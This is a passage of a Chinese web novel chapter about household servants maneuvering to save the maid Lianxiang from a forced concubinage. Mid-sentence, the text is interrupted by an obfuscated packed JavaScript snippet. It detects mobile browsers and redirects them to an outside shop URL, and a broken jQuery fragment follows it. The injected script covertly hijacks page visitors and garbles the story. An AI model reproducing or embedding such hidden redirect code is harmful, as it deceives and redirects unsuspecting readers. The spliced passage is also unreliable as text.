沈三妹正欲去做事，那董婶子有心报复老婶，便截住三妹，要她做这做那不讲，动不动还要斥责打骂。三妹一直忙到众主子用毕早饭，又将各类杯盘碗碟洗净，才草草吃了些汤饼果腹，弄完一看，已是晌午时候了。
她想着董婶子借机欺凌，无非是仗着春芳的势。再想因为春芳这半个主子为人豪横，间接让她过得苦不堪言，为此越想心头愈恨，收拾收拾就往暖春堂方向跑去。
沈三妹这样的厨房小婢本难进内院，也是运气使然，天时地利与人和碰上，晌午时间闲聊的闲聊，吃饭的吃饭，打歇的打歇，正是人稀之时，她一路花遮柳掩到了暖春堂门首，见院门关着，便在院门边上站立等待。约莫半柱香时间，仍不见有人出来，想着自己虽没见着玉婵，却也是真替怜香跑了一趟的，这跑腿钱合该拿得心安理得。
为避免被人发现盘问，三妹正要沿旧路返回时，可巧画竹出来，见三妹面生便叫住她：“你是谁？怎么鬼鬼祟祟在门前？”
三妹回头笑道：“这位姐姐，我是在下面做洒扫的。”
画竹道：“你便做你的就是，跑我们院门前悄摸站着是怎么说？”
三妹笑道：“我是专在这候着玉婵姐姐的，姚怜香叫我给她带句话。”
画竹细细打量了一番三妹，见她手上粗糙，不似假话，就说：“有什么话叫她过几日自己来说罢，才将老太太带着玉婵姐姐几个去庙里烧香念经吃斋去了，她这几天不在府里。”说毕，便关上院门自往外走远了。
三妹吐了吐舌，遗憾万分，想道：“不是我不帮你，是你差些时运。”一边走一边思量：“要不替她去宛姨娘那跑一趟？”想毕忍不住否定自己：“我担着这么大的干系，已是仁至义尽了。不该在此事上太上心。”于是一路遮遮掩掩回到柴房处，报与怜香知晓后，又匆匆忙忙跑走了。
怜香听毕，忍不住跌坐在地，哀哀哭道：“苦也，时运不济，我却再没有办法了。”
隔了半晌儿，好容易止住了泪，正在心灰之时，听得外面明琴小声喊道：“怜香，你往窗边来。”
怜香慌忙起身，跑至窗前。只听明琴说道：“我方才替你去凌水阁找了丹翠姑娘……”
怜香闻言，似溺水之人一般屏住一口气不敢放出，殷殷期盼的听明琴继续说下去。
只见明琴似有不忍之色，顿了一下才说：“我将你的事告知她，望她想想办法。谁知她说：‘怜香的事与我不相干。’我看事到如今，你只有答应这亲事才有活路了，依我说韩舅爷又不是瘸腿麻子脸，他当掌柜，你嫁过去也有体面，不知你怎么就是不愿意？”
说着，往四周张望一番，见怜香正在灰心丧气也不知听没听清自己说的话，又担心自个儿站久了被人发现，于是忙说道：“此番我该你的情意也算还完了，你好自为之罢。”于是也不再管她，自回院里当差去了。
且说明琴走到屋门口，正巧与出门的胜菊撞到一路。胜菊站稳后忍不住骂道：“不长眼的东西，你赶着去投胎啊？这会子闲了倒出现了，偏忙起来要你人时怎么都找不着。”
说着一把推开明琴，往正屋方向去，东串西走来到一门房前，见里头的屏岚正盘腿坐在矮榻上用午饭，胜菊一路走进去一路笑着道：“哎呀，屏岚姐姐，可让我堵住你这个大忙人了！”
屏岚抬眼往外看去，见是胜菊，也不睬她，待吃完碗中饭菜才问道：“胜菊，你有什么事？”
胜菊道：“前儿春芳姑娘求爷给韩舅爷赐个丫头为妾，爷已应下此事，说看上谁让咱们往你这来取身契便成。这不，我今天就是为这事来的。”
现下屏岚心中无事正闲着，且想这是爷早先吩咐过的，不会有什么差错，便语气轻松问道：“此事我知晓，你只说是哪屋的哪个丫头？我着人去取了她的身契来。”
胜菊见屏岚爽快，笑道：“也不知那丫头哪来的福气，被咱们舅爷瞧上了。喏，还不是凌水阁那个丫鬟姚怜香……”
屏岚听罢神情一凛，也不听胜菊后头说了些什么，暗道：“怎么偏挑中了她？前些日子爷还特意交代过对那女孩照拂一些，我看那样子像是对她有意，这身契不好给出去的。目下烦的是爷金口已开，如今往这要人来了，我该如何是好？若不放这人，爷有言再先；若放了这人，爷果真对她有想法，待回府后找我要人，我岂不是作茧自缚？哎呀，这爷真真儿给我留个难题！”
胜菊自顾自说个不停，见屏岚各人坐着发愣，就探出脖儿叫她：“屏岚姐姐，你叫人去取了身契来罢，我方才讲那些你听，你指定知道春芳姑娘对此事是极为上心的。”
屏岚面上蹙着眉，垂着眼，抿着嘴，肚里心肠已转千回，当下有了计较，说道：“既然春芳姑娘如此上心，我就亲自去取罢，你且坐会子。”说着，跨出门去，往内书房里打了一圈转，复又回自己房中，心中思量：“我只装模作样去寻一番，然后说找不着便成，左右他们都进不了内书房，我就拖着等爷回来自己发落此事。”
一路想着，到了门口便先说道：“胜菊，瞧我这记性，才想起来年后取了怡人姑娘身契出来给爷瞧过的，末后去年那同一批入府丫头们的身契一并被爷放哪儿去我也找不着了，那姚怜香就在这一批人里头。我看此事也着急不得，只能等爷回来问过才能找出来给你了。”
胜菊见事儿没办成，恐回去后遭主子责骂，因此心下甚为埋怨屏岚，她面上不显，口中说道：“屏岚姐姐仔细找过了吗？”
屏岚一面进屋坐定，听胜菊此话似有责问之意，正欲说些话下一下她面子，不期外头又有人喊她：“屏岚，可让我找着你了。”
屋内二人双双往外看去，见是杨嬷嬷，她一边走近来一边说道：“我有话同你讲……”进屋内一看胜菊坐在侧便住了嘴，双手握住站在堂前。
屏岚起身拉她坐下，笑道：“杨嬷嬷，什么风儿把你吹来了？”
杨嬷嬷默然不语。一旁胜菊见了，知是有意避着自
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17543699|204027||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
己，就说：“屏岚姐姐，如此咱们姑娘先把那丫头嫁了去，待找到后再将身契送去舅爷府上也成。左右爷已发话让姑娘自办，别人也挑不出咱们姑娘的错。”
屏岚道：“胜菊，这身契找不着我不能放人给你啊，左右爷已答应过春芳姑娘的，何必急这几日？且待爷回来再说罢！”
胜菊话提在喉头却不知怎么继续开口，张了张嘴又咽下去了。只听杨嬷嬷也在一旁劝道：“这屏岚也不过是按章办事儿，你们这么些个小丫头别总来让她为难。”
胜菊听了也不好说得什么，只得向两人告辞离去。
这里杨嬷嬷见胜菊走了，才立起身握住屏岚的手殷殷问道：“我的儿，大爷出府前可与你交代过什么不曾？”
屏岚摇头不解道：“嬷嬷说的什么事？”
杨嬷嬷因说道：“既不曾交代，眼下我倒有一事说与你听。”见屏岚正专心听着，杨嬷嬷拉过她双双坐定又道：“大爷出府前，我荐了个丫头去他屋里伺候，爷是准过的，末后还吩咐说他回来后就把人送过去，这个丫头就是在凌水阁伺候的姚怜香。不过方才我去那边才得知她被春芳姑娘关起来了，说是要送去给春芳的娘家哥哥做妾。我老婆子今天来你面前卖一卖脸面，还请你搭救她则个。”
屏岚听罢心中了然：“杨嬷嬷想在爷身边安插个‘自己人’。又岂知爷只怕早就瞧上那丫头了，可爷的私事我也不便同你讲太深。”于是说道：“嬷嬷，大爷惯不喜别人插手他内院的事，你倒是够厉害的。你来的也巧，恰恰那丫头的身契找不着，你不是见着了吗？我将将才打发了胜菊去。”
杨嬷嬷倒松了一口气，想道：“大爷已是看上了怜香，只是爷的私事我不好和你讲得太多。”面上笑道：“如此便好，我还担心爷回来我交不了人呢。”
说完一想到胜菊临走时说的话，春芳那头不会轻易放人，就同屏岚打商量道：“怜香这人我看还得你同我一道儿把她救出来才行，要是春芳那边用强的就不好了。”
屏岚心中亦有这样的想法，遂点了点头。两个一并往春芳厢房去，未曾想在檐廊下时便听到茶盏摔碎的声音。
原来是胜菊回去将事一五一十告诉春芳，又添油加醋说些有的没的来，致使春芳发了好大一通脾气，混骂道：“屏岚那小蹄子，什么人她都周全的很，怎么偏我的事总办不好，看来是特意针对我的。还有杨嬷嬷那个老乞婆，仗着奶过爷几日，不把我放在眼里，真拿自己当人物了？”
胜菊生怕春芳骂得不好听，把自己添油加醋说的话都嚷出来，赶忙上前捂住春芳的嘴道：“我的祖宗，小声些！”
屋里二人哪知廊下的屏岚与杨嬷嬷已将话听全了，外头那两人顿时不自在起来，双双往回走去，到了院门口又商量道：“我看这事还得府里两位姨娘才能帮忙，云姨娘自认做事公正，处处端着主母做派，这事她只怕不愿意。宛姨娘倒是个好性儿的，也愿意周全旁边的人，不若咱们两个去她院里说说？”